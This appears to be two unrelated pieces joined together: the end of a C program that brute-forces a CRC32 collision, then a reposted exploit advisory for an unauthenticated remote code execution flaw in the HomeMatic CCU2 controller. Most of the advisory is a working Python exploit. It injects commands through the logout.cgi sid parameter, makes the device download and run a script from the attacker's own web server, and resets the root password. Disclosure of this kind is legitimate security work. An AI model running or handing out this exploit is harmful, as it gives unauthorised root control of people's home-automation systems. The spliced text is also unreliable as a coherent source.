	0xa00ae278, 0xd70dd2ee, 0x4e048354, 0x3903b3c2,
	0xa7672661, 0xd06016f7, 0x4969474d, 0x3e6e77db,
	0xaed16a4a, 0xd9d65adc, 0x40df0b66, 0x37d83bf0,
	0xa9bcae53, 0xdebb9ec5, 0x47b2cf7f, 0x30b5ffe9,
	0xbdbdf21c, 0xcabac28a, 0x53b39330, 0x24b4a3a6,
	0xbad03605, 0xcdd70693, 0x54de5729, 0x23d967bf,
	0xb3667a2e, 0xc4614ab8, 0x5d681b02, 0x2a6f2b94,
	0xb40bbe37, 0xc30c8ea1, 0x5a05df1b, 0x2d02ef8d,
};

void display(char* str, char end)
{
	printf("%s%c", str, end);
	fflush(stdout);
}

/**
 * Write the content of correction to a file and exit.
 */
void write_exit(char* correction, size_t s)
{
	display(correction, '\n');
	FILE* f = fopen(filename, "w");
	fwrite(correction, s, 1, f);
	fclose(f);
}


int main(int argc, char* argv[])
{
	uint const crcinit = strtoul(argv[1], NULL, 10) ^ 0xFFFFFFFF;
	uint const goal = strtoul(argv[2], NULL, 10) ^ 0xFFFFFFFF;
	uint const r = strtoul(argv[3], NULL, 10);
	uint crc;

	unsigned char correction[SIZE_CORRECTION_BLOCK+1];
	uint crcs[SIZE_CORRECTION_BLOCK];

	// Setup filename
	snprintf(filename, 32, OUTPUT_FILE_FORMAT, argv[0]);

	// Set every byte to the minimum value
	memset(correction, MIN_VALUE, SIZE_CORRECTION_BLOCK);
	correction[SIZE_CORRECTION_BLOCK] = '\0';

	register uint i;

	printf("crcinit=%u goal=%u rotations=%u\n", crcinit, goal, r);

	// Build original CRCs
	crcs[0] = ((crcinit >> 8) & 0x00FFFFFF) ^ crc32tab[(crcinit ^ correction[i]) & 0xFF];

	for(i=1;i<SIZE_CORRECTION_BLOCK;i++)
	{
		crcs[i] = ((crcs[i-1] >> 8) & 0x00FFFFFF) ^ crc32tab[(crcs[i-1] ^ correction[i]) & 0xFF];
	}

	display(correction, '\r');
	
	while(1)
	{
		// Compare

		crc = crcs[SIZE_CORRECTION_BLOCK-1];

		// A, r times
		for(i=r;i--;)
		{
			crc = ((crc >> 8) & 0x00FFFFFF) ^ crc32tab[(crc ^ 'A') & 0xFF];
		}
		// ¤ == 0xc2a4
		crc = ((crc >> 8) & 0x00FFFFFF) ^ crc32tab[(crc ^ '\xc2') & 0xFF];
		crc = ((crc >> 8) & 0x00FFFFFF) ^ crc32tab[(crc ^ '\xa4') & 0xFF];

		if(crc == goal)
		{
			write_exit(correction, SIZE_CORRECTION_BLOCK);
			return 0;
		}

		// Update correction block

		i = SIZE_CORRECTION_BLOCK;

		while(i--)
		{
			correction[i]++;
			if(correction[i] == 91)
				correction[i] = 97;
			if(correction[i] != MAX_VALUE)
				break;
			correction[i] = MIN_VALUE;
		}

		if(i <= SIZE_CORRECTION_BLOCK - 4)
			display(correction, '\r');

		// If we reached the first byte, crc[-1] does not exist
		if(!i)
			crcs[i++] = ((crcinit >> 8) & 0x00FFFFFF) ^ crc32tab[(crcinit ^ correction[i]) & 0xFF];

		// Only the last i chars were changed, no need to update the others CRCs
		for(;i<SIZE_CORRECTION_BLOCK;i++)
		{
			crcs[i] = ((crcs[i-1] >> 8) & 0x00FFFFFF) ^ crc32tab[(crcs[i-1] ^ correction[i]) & 0xFF];
		}
	}

	return 1;
}
</--- crc_xor.c --->
HireHackking 
# Exploit Title: HomeMatic Zentrale CCU2 Unauthenticated RCE
# Date: 16-07-2018
# Software Link: https://www.homematic.com/
# Exploit Author: Kacper Szurek - ESET
# Contact: https://twitter.com/KacperSzurek
# Website: https://security.szurek.pl/
# YouTube: https://www.youtube.com/c/KacperSzurek
# Category: remote
  
1. Description
   
File: /root/www/api/backup/logout.cgi
 
```
proc main { } {
    set sid [getQueryArg sid]
     
    if [catch { session_logout $sid}] { error LOGOUT }
     
    puts "Content-Type: text/plain"
    puts ""
    puts "OK"
}
```
 
`$sid` value is passed directly to `session_logout` function.
 
File: /root/www/tcl/eq3/session.tcl
 
```
proc session_logout { sid } {
  rega_exec "system.ClearSessionID(\"$sid\");"
}
```

`$sid` value is not escaped properly. 

We can close current rega script using `");` and execute our payload.
   
2. Proof of Concept
 
POC in Python which enable ssh access and change root password without any credentials.
 
```
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
import time
import urllib2
import threading
import sys
import os
import signal

print "HomeMatic Zentrale CCU2 Unauthenticated RCE"
print "Unauthenticated Remote Code Execution"
print "by Kacper Szurek - ESET"
print "https://security.szurek.pl/"
print "https://twitter.com/KacperSzurek"
print "https://www.youtube.com/c/KacperSzurek\n"

def signal_handler(a, b):
    print "[+] Exit"
    os._exit(0)

signal.signal(signal.SIGINT, signal_handler)

if len(sys.argv) != 4:
    print "Usage: exploit <your_ip> <homematic_ip> <new_password>"
    os._exit(0)

our_ip = sys.argv[1]
homematic_ip = sys.argv[2]
new_password = sys.argv[3]
tcl_file = """
#!/bin/tclsh
source /www/api/eq3/jsonrpc.tcl
source /www/api/eq3/json.tcl
set args(passwd) "{}"
set args(mode) "true"
source /www/api/methods/ccu/setssh.tcl
source /www/api/methods/ccu/setsshpassword.tcl
source /www/api/methods/ccu/restartsshdaemon.tcl
""".format(new_password)

class StoreHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        print self.path
        if self.path == '/exploit':
            self.send_response(200)
            self.send_header('Content-type', 'text/html')
            self.end_headers()
            self.wfile.write(tcl_file)

def server():
    try:
        server = HTTPServer((our_ip, 1234), StoreHandler)
        server.serve_forever()
    except Exception, e:
        print "[-] Cannot start web server: {}".format(e)
        os._exit(0)

def send_payload(payload):
    return urllib2.urlopen('http://{}/api/backup/logout.cgi?sid=aa");system.Exec("{}");system.ClearSessionID("bb'.format(homematic_ip, payload)).read()

try:
    version = urllib2.urlopen('http://{}/api/backup/version.cgi'.format(homematic_ip), timeout=6).read()
except:
    version = ""

if not version.startswith('VERSION='):
    print "[-] Probably not HomeMatic IP: {}".format(homematic_ip)
    os._exit(0)

if "'" in new_password or '"' in new_password:
    print "[-] Forbidden characters in password"
    os._exit(0)

print "[+] Start web server"
t = threading.Thread(target=server)
t.daemon = True
t.start()
time.sleep(2)

print "[+] Download exploit"
send_payload('wget+-O+/tmp/exploit+http://{}:1234/exploit&&chmod+%2bx+/tmp/exploit'.format(our_ip))

print "[+] Set chmod +x"
send_payload('chmod+%2bx+/tmp/exploit')

print "[+] Execute exploit"
send_payload('/bin/tclsh+/tmp/exploit')

print "[+] Success, now you can ssh as root:"
print "ssh root@{}".format(homematic_ip)
print "Password: {}".format(new_password)
os._exit(0)
```
 
3. Solution:
    
Update to version 2.35.16